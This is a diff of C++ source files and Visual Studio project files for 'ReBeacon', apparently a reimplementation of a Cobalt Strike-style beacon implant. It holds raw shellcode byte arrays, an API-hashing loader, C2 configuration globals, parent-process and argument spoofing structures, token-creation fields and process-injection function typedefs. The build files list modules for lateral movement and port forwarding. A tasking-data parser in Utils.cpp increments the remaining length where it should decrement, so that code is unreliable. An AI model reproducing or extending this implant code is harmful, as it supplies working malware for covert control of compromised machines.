0xF3, 0x23, 0x84, 0x63, 0xD0, 0x2A, 0x6D, 0xA3, 0x08, 0xFF, 0xC2, 0xDE,
0xB9, 0xE3, 0x8D, 0x69, 0x79, 0x3C, 0x65, 0x74, 0x1D, 0x18, 0x63, 0xDB,
0x9C, 0xB9, 0x14, 0xA0, 0xA4, 0x43, 0x3E, 0x2D, 0xBB, 0x89, 0xFC, 0x22,
0x50, 0x5D, 0xB0, 0xA3, 0x0A, 0xEC, 0x28, 0x39, 0xF8, 0x76, 0x9E, 0x4C,
0xF1, 0x66, 0xD7, 0x0B, 0xAC, 0x7A, 0x7C, 0x00, 0x3C, 0x06, 0xE4, 0xA5,
0x77, 0xB6, 0x9E, 0xB3, 0x64, 0x92, 0x9A, 0x1B, 0x1C, 0xB6, 0x5B, 0x21,
0x04, 0x70, 0x4B, 0x4A, 0xEC, 0xAF, 0x06, 0xBE, 0x73, 0x67, 0x2C, 0xE7,
0x89, 0xEE, 0x48, 0xA2, 0x5B, 0xA9, 0x9D, 0x25, 0xA6, 0xC7, 0x61, 0x0D,
0xD8, 0x1B, 0xE5, 0x30, 0x1D, 0x36, 0xAA, 0x65, 0xF1, 0x58, 0x8C, 0x0D,
0x33, 0x2E, 0xBC, 0x79, 0x40, 0x83, 0xB7, 0x46, 0x9B, 0x5D, 0x22, 0x8E,
0xD9, 0xCA, 0xC2, 0x33, 0x4D, 0x60, 0xFA, 0x0E, 0xD5, 0x5B, 0xBC, 0x80,
0x00, 0x68, 0xB7, 0xCA, 0xDC, 0x93, 0x35, 0xFA, 0x70, 0xAB, 0xE2, 0x80,
0x78, 0x36, 0xA4, 0x68, 0xBA, 0xF7, 0xC3, 0xDD, 0xDB, 0xE5, 0x11, 0x4E,
0x05, 0x3B, 0x99, 0x5F, 0xB3, 0x73, 0x7C, 0x8C, 0xC8, 0xEE, 0x6E, 0x4B,
0xBD, 0x6F, 0x0B, 0x69, 0x1F, 0x91, 0x45, 0xA4, 0x57, 0x69, 0xE9, 0x4D,
0xAE, 0xF9, 0xCF, 0x9B, 0xBD, 0xC6, 0xF8, 0xBE, 0xBB, 0xB9, 0xC2, 0x04,
0xAD, 0xC8, 0xDE, 0xCD, 0x9E, 0x4F, 0x5E, 0xBB, 0xD9, 0xD6, 0x70, 0x13,
0xDD, 0x07, 0x71, 0x13, 0xCD, 0x9C, 0x2F, 0x3E, 0xA6, 0x0C, 0xD4, 0x5E,
0x17, 0xF2, 0x21, 0x48, 0x64, 0x9B, 0x08, 0xC4, 0x14, 0x65, 0x61, 0xDF,
0xDB, 0x54, 0xBB, 0xAB, 0xF9, 0x4E, 0x51, 0xB1, 0x18, 0x9D, 0xFF, 0xDB,
0xEF, 0x93, 0xF3, 0xE0, 0x3E, 0xC8, 0xBB, 0xDF, 0x3C, 0x0C, 0x2D, 0xC4,
0x4B, 0x30, 0xD2, 0xA5, 0x9C, 0x91, 0xDD, 0x4B, 0x9D, 0x48, 0xB5, 0x93,
0xDF, 0x09, 0x0B, 0xE8
};
int g_dwMilliseconds = 0;
int g_jitter = 0;
//dns相关这些已经被遗弃了
DWORD init_WSA;
DWORD dns_sleep;
DWORD dns_idle;
char* dns_get_A;
char* dns_get_AAAA;
char* dns_get_TXT;
char* dns_Listeneroptions_dnsresolver;
//系统版本
DWORD g_dwMajorVersion;
char g_Encryption_Metadata[0x400];
int g_Encryption_Metadata_size;
/*和beacon元数据的初始化次数有关*/
int MetadataNumber = 1;
int g_BeaconStart=0;
//post url
char g_post_url[3296];
size_t g_withdatasize;
int gBeaconBlockDLL;
//父进程欺骗
DWORD gBeaconPPID;
//beacon创建token
int Create_token_Flag;
LPCWSTR lpWideCharStr;
LPCWSTR lpDomain;
LPCWSTR lpPassword;
BeaconSpoofArgs* gBeaconParameterSpoofing;
int download_number=0;
BeaconDownload* gBeaconDownload;
char* spawntoPath_x64;
char* spawntoPath_x86;
unsigned char sub_10033020[76] = {
0x55, 0x89, 0xE5, 0x56, 0x57, 0x8B, 0x75, 0x08, 0x8B, 0x4D, 0x0C, 0xE8,
0x00, 0x00, 0x00, 0x00, 0x58, 0x83, 0xC0, 0x25, 0x83, 0xEC, 0x08, 0x89,
0xE2, 0xC7, 0x42, 0x04, 0x33, 0x00, 0x00, 0x00, 0x89, 0x02, 0xE8, 0x09,
0x00, 0x00, 0x00, 0x83, 0xC4, 0x14, 0x5F, 0x5E, 0x5D, 0xC2, 0x08, 0x00,
0x8B, 0x3C, 0x24, 0xFF, 0x2A, 0x48, 0x31, 0xC0, 0x57, 0xFF, 0xD6, 0x5F,
0x50, 0xC7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00, 0x00, 0x89, 0x3C, 0x24,
0xFF, 0x2C, 0x24, 0x00
};
unsigned char sub_10033070[297] = {
0xFC, 0x48, 0x89, 0xCE, 0x48, 0x89, 0xE7, 0x48, 0x83, 0xE4, 0xF0, 0xE8,
0xC8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48,
0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48,
0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A,
0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C,
0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41,
0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66,
0x81, 0x78, 0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00,
0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48,
0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF,
0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48,
0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0,
0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8,
0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C,
0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88,
0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58,
0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,
0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF, 0xFF, 0xFF,
0x5D, 0x4D, 0x31, 0xC9, 0x41, 0x51, 0x48, 0x8D, 0x46, 0x18, 0x50, 0xFF,
0x76, 0x10, 0xFF, 0x76, 0x08, 0x41, 0x51, 0x41, 0x51, 0x49, 0xB8, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xD2, 0x48, 0x8B,
0x0E, 0x41, 0xBA, 0xC8, 0x38, 0xA4, 0x40, 0xFF, 0xD5, 0x48, 0x85, 0xC0,
0x74, 0x0C, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xEB, 0x0A, 0x48, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x83, 0xC4, 0x50, 0x48, 0x89, 0xFC, 0xC3, 0x00
};

194
ReBeacon_Src/Global.h Normal file
View File

@ -0,0 +1,194 @@
#pragma once
//#include "veil.h"
#include <Veil/Veil.h>
#include <stdio.h>
#ifdef _MSC_VER
#pragma warning(disable:4005)
#endif
typedef DWORD uint32;
typedef unsigned __int64 uint64;
#define __PAIR64__(high, low) (((uint64) (high) << 32) | (uint32)(low))
#define LAST_IND(x,part_type) (sizeof(x)/sizeof(part_type) - 1)
#if defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN
# define LOW_IND(x,part_type) LAST_IND(x,part_type)
# define HIGH_IND(x,part_type) 0
#else
# define HIGH_IND(x,part_type) LAST_IND(x,part_type)
# define LOW_IND(x,part_type) 0
#endif
#define DWORDn(x, n) (*((DWORD*)&(x)+n))
#define HIDWORD(x) DWORDn(x,HIGH_IND(x,DWORD))
#include <TlHelp32.h>
#pragma warning(disable : 4200)
typedef struct
{
int id; /*任务id*/
int length; /*长度*/
char data[]; /*data*/
} BeaconTask;
typedef struct
{
char* path; /*进程路径*/
int path_size; /*进程路径长度*/
STARTUPINFOA* pSTARTUPINFOA;
PROCESS_INFORMATION* pPROCESS_INFORMATION;
DWORD dwCreationFlags;
BOOL ignoreToken;
} BeaconStartProcess;
struct BeaconSpoofArgs{
BOOL state;
char cmd1[8192];
char cmd2[8192];
BeaconSpoofArgs* Linked;
};
typedef struct
{
char* cmd2;
char* cmd;
int field_8;
} BeaconParameterSpoofing;
extern BeaconSpoofArgs* gBeaconParameterSpoofing;
struct BeaconCreateprocess
{
HANDLE process;
void* data;
int data_size;
int SetErrorMode_value;
int(__cdecl* ProcessSettings)(BeaconCreateprocess* pBeaconCreateprocess, DWORD dwProcessId, LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, STARTUPINFOA* psi);
void(__cdecl* func2)(BeaconCreateprocess*);
};
struct BeaconDownload
{
DWORD number;
DWORD size;
FILE* fp;
BeaconDownload* Linked;
};
extern int download_number;
extern BeaconDownload* gBeaconDownload;
typedef struct
{
HANDLE hProcess;
HANDLE hThread;
DWORD Process_PID;
BOOL is_process_arch;
BOOL Flag_FALSE;
BOOL is_system_process;
BOOL is_Process_self;
BOOL ishThread;
}BeaconProcessInject;
#include "macro.h"
/*Beacon dll加载基址*/
extern HINSTANCE Beacon_Dllbase;
/*Beacon C2配置信息*/
extern char* CsC2Config;
extern unsigned char rawData[4096];
extern int g_dwMilliseconds;
extern int g_jitter;
//dns相关这些应该已经被遗弃了
extern DWORD init_WSA;
extern DWORD dns_sleep;
extern DWORD dns_idle;
extern char* dns_get_A;
extern char* dns_get_AAAA;
extern char* dns_get_TXT;
extern char* dns_Listeneroptions_dnsresolver;
//系统版本
extern DWORD g_dwMajorVersion;
extern char g_Encryption_Metadata[0x400];
extern int g_Encryption_Metadata_size;
/*和beacon元数据的初始化次数有关*/
extern int MetadataNumber;
extern int g_BeaconStart;
extern char g_post_url[3296];
extern size_t g_withdatasize;
extern DWORD gBeaconPPID;
extern int Create_token_Flag;
extern LPCWSTR lpWideCharStr;
extern LPCWSTR lpDomain;
extern LPCWSTR lpPassword;
extern char* spawntoPath_x64;
extern char* spawntoPath_x86;
extern int gBeaconBlockDLL;
//shellcode x86
extern unsigned char sub_10033020[76];
//shellcode x86
extern unsigned char sub_10033070[297];
//后台线程
extern int BackgroundThreadsNumber;
extern PVOID lpStartAddress;
typedef NTSTATUS(NTAPI* NtMapViewOfSection_t)(
HANDLE sectionHandle,
HANDLE processHandle,
PVOID* baseAddress,
ULONG_PTR zeroBits,
SIZE_T commitSize,
PLARGE_INTEGER sectionOffset,
PSIZE_T viewSize,
ULONG inheritDisposition,
ULONG allocationType,
ULONG win32Protect);
typedef NTSTATUS(WINAPI* RtlCreateUserThread_t)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT CLIENT_ID* ClientID);
typedef NTSTATUS(WINAPI* NtQueueApcThread_t)(
HANDLE ThreadHandle,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcRoutineContext OPTIONAL,
PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,
ULONG ApcReserved OPTIONAL);
typedef HANDLE(WINAPI* CreateThread_t) (
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

View File

@ -0,0 +1,192 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClCompile Include="BeaconBof.cpp" />
<ClCompile Include="BeaconFileManage.cpp" />
<ClCompile Include="BeaconInject.cpp" />
<ClCompile Include="BeaconJob.cpp" />
<ClCompile Include="BeaconLateralMovement.cpp" />
<ClCompile Include="beaconMain.cpp" />
<ClCompile Include="Beaconrportfwd.cpp" />
<ClCompile Include="BeaconSleep.cpp" />
<ClCompile Include="BeaconTask.cpp" />
<ClCompile Include="BeaconX64.cpp" />
<ClCompile Include="ChildBeacon.cpp" />
<ClCompile Include="comm.cpp" />
<ClCompile Include="common.cpp" />
<ClCompile Include="encrypt_decrypt.cpp" />
<ClCompile Include="Global.cpp" />
<ClCompile Include="rotation.cpp" />
<ClCompile Include="Utils.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="BeaconBof.h" />
<ClInclude Include="BeaconFileManage.h" />
<ClInclude Include="BeaconInject.h" />
<ClInclude Include="BeaconJob.h" />
<ClInclude Include="BeaconLateralMovement.h" />
<ClInclude Include="Beaconrportfwd.h" />
<ClInclude Include="BeaconSleep.h" />
<ClInclude Include="BeaconTask.h" />
<ClInclude Include="BeaconX64.h" />
<ClInclude Include="ChildBeacon.h" />
<ClInclude Include="comm.h" />
<ClInclude Include="common.h" />
<ClInclude Include="encrypt_decrypt.h" />
<ClInclude Include="Global.h" />
<ClInclude Include="macro.h" />
<ClInclude Include="rotation.h" />
<ClInclude Include="Utils.h" />
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{8ea564da-e4a0-42d4-ad1b-e9847b5aa976}</ProjectGuid>
<RootNamespace>ReBeaconSrc</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<LibraryPath>../lib;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<LibraryPath>../lib;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>LTM_DESC;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>../include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<DisableSpecificWarnings>4005;4996;6387;28159;4018</DisableSpecificWarnings>
<Optimization>Disabled</Optimization>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>LTM_DESC;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<DisableSpecificWarnings>4005;4996;6387;28159;4018</DisableSpecificWarnings>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>../include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<Optimization>Disabled</Optimization>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,123 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="BeaconBof.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="BeaconFileManage.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="BeaconInject.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="BeaconJob.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="BeaconLateralMovement.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="beaconMain.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="Beaconrportfwd.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="BeaconSleep.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="BeaconTask.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="BeaconX64.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="ChildBeacon.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="comm.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="encrypt_decrypt.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="Global.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="rotation.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="Utils.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="BeaconBof.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="BeaconFileManage.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="BeaconInject.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="BeaconJob.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="BeaconLateralMovement.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="Beaconrportfwd.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="BeaconSleep.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="BeaconTask.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="BeaconX64.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="ChildBeacon.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="comm.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="encrypt_decrypt.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="Global.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="macro.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="rotation.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="Utils.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

364
ReBeacon_Src/Utils.cpp Normal file
View File

@ -0,0 +1,364 @@
#include "Utils.h"
#include "Global.h"
#include "macro.h"
void BeaconDataParse(datap* parser, char* buffer, int size)
{
parser->original = buffer;
parser->buffer = buffer;
parser->length = size;
parser->size = size;
}
void BeaconDataFree(datap* parser)
{
free(parser->original);
free(parser);
}
void BeaconDataClear(datap* parser)
{
memset(parser->original, 0, parser->size);
}
char* BeaconDataPtr(datap* parser, int size)
{
char* result = 0;
if (parser->length < size)
{
return 0;
}
result = parser->buffer;
parser->buffer += size;
parser->length -= size;
return result;
}
int BeaconDataInt(datap* parser)
{
int result;
if (parser->length < sizeof(int))
{
return 0;
}
result = ntohl(*(u_long*)parser->buffer);
parser->buffer += sizeof(int);
parser->length += sizeof(int);
return result;
}
short BeaconDataShort(datap* parser)
{
short result;
if (parser->length < sizeof(short))
{
return 0;
}
result = ntohs(*(u_short*)parser->buffer);
parser->buffer += sizeof(short);
parser->length -= sizeof(short);
return result;
}
int BeaconDataLength(datap* parser)
{
return parser->length;
}
int BeaconDataCopyToBuffer(datap* parser, char* buffer,int buffer_size)
{
int copy_size = BeaconDataInt(parser);
if (!copy_size)
{
return 0;
}
if (copy_size + 1 > buffer_size)
{
return 0;
}
char* data = BeaconDataPtr(parser, copy_size);
if (!data)
{
return 0;
}
memcpy(buffer, data, copy_size);
buffer[copy_size] = 0;
return copy_size + 1;
}
void BeaconDataCopyNToBuffer(datap* parser, char* buffer, int buffer_size)
{
int length = parser->length;
if (length + 1 < buffer_size)
{
memcpy(buffer, parser->buffer, parser->length);
buffer[length] = 0;
}
}
char* BeaconDataPtr2(datap* parser)
{
int size = BeaconDataInt(parser);
if (size)
{
return BeaconDataPtr(parser, size);
}
return 0;
}
char* BeaconDataPtr3(datap* parser, int* outsize)
{
int size = BeaconDataInt(parser);
if (size)
{
*outsize = size;
return BeaconDataPtr(parser, size);
}
return 0;
}
char* BeaconDataExtract(datap* parser, int* outsize)
{
int size = 0;
char* data = BeaconDataPtr3(parser, &size);
if (outsize)
{
*outsize = size;
}
return size != 0 ? data : 0;
}
datap* BeaconDataInit(int size)
{
char* pdata;
datap* pdatap;
pdatap = (datap*)malloc(sizeof(datap));
if (!pdatap)
{
return 0;
}
pdata = (char*)malloc(size);
if (!pdata)
{
return 0;
}
memset(pdata, 0, size);
BeaconDataParse(pdatap, pdata, size);
return pdatap;
}
char BeaconDataByte(datap* parser)
{
if (!parser->length)
{
return 0;
}
char* ret = parser->buffer;
parser->buffer += 1;
parser->length -= 1;
return *ret;
}
char* BeaconDataBuffer(datap* parser)
{
return parser->buffer;
}
void BeaconDataClearFree(datap* parser)
{
BeaconDataClear(parser);
BeaconDataFree(parser);
}
void BeaconFormatInit(formatp* format, char* buff, int buffsize)
{
format->length = 0;
format->original = buff;
format->buffer = buff;
format->size = buffsize;
memset(buff, 0, buffsize);
}
void BeaconFormatAlloc(formatp* format, int maxsz)
{
char* buff = (char*)malloc(maxsz);
return BeaconFormatInit(format, buff, maxsz);
}
void BeaconFormatReset(formatp* format)
{
format->buffer = format->original;
format->length = 0;
}
void BeaconFormatFree(formatp* format)
{
memset(format->original, 0, format->size);
free(format->original);
}
void BeaconFormatAppend(formatp* format, char* text, int len)
{
if (len < format->size - format->length)
{
if (len)
{
memcpy(format->buffer, text, len);
format->buffer += len;
format->length += len;
}
}
}
void BeaconFormatPrintf(formatp* format, char* fmt, ...)
{
va_list ArgList;
va_start(ArgList, fmt);
int v2 = vprintf(fmt, ArgList);
if (v2 > 0)
{
int size = format->size - format->length;
if (v2 < size)
{
int v4 = vsprintf_s(format->buffer, size, fmt, ArgList);
format->buffer += v4;
format->length += v4;
}
}
}
char* BeaconFormatToString(formatp* format, int* size)
{
if (!size)
{
return 0;
}
int length = BeaconFormatlength(format);
*size = length;
return BeaconFormatOriginalPtr(format);
}
void BeaconFormatInt(formatp* format, int value)
{
value = htonl(value);
BeaconFormatAppend(format, (char*)&value, 4);
}
int BeaconFormatlength(formatp* format)
{
return format->length;
}
char* BeaconFormatOriginalPtr(formatp* format)
{
return format->original;
}
